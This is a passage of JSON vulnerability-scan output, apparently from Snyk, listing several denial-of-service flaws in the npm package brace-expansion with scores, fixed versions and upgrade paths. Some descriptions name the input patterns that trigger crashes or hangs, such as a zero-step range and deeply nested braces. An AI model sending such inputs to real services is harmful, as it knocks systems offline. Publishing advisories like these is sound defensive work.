"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
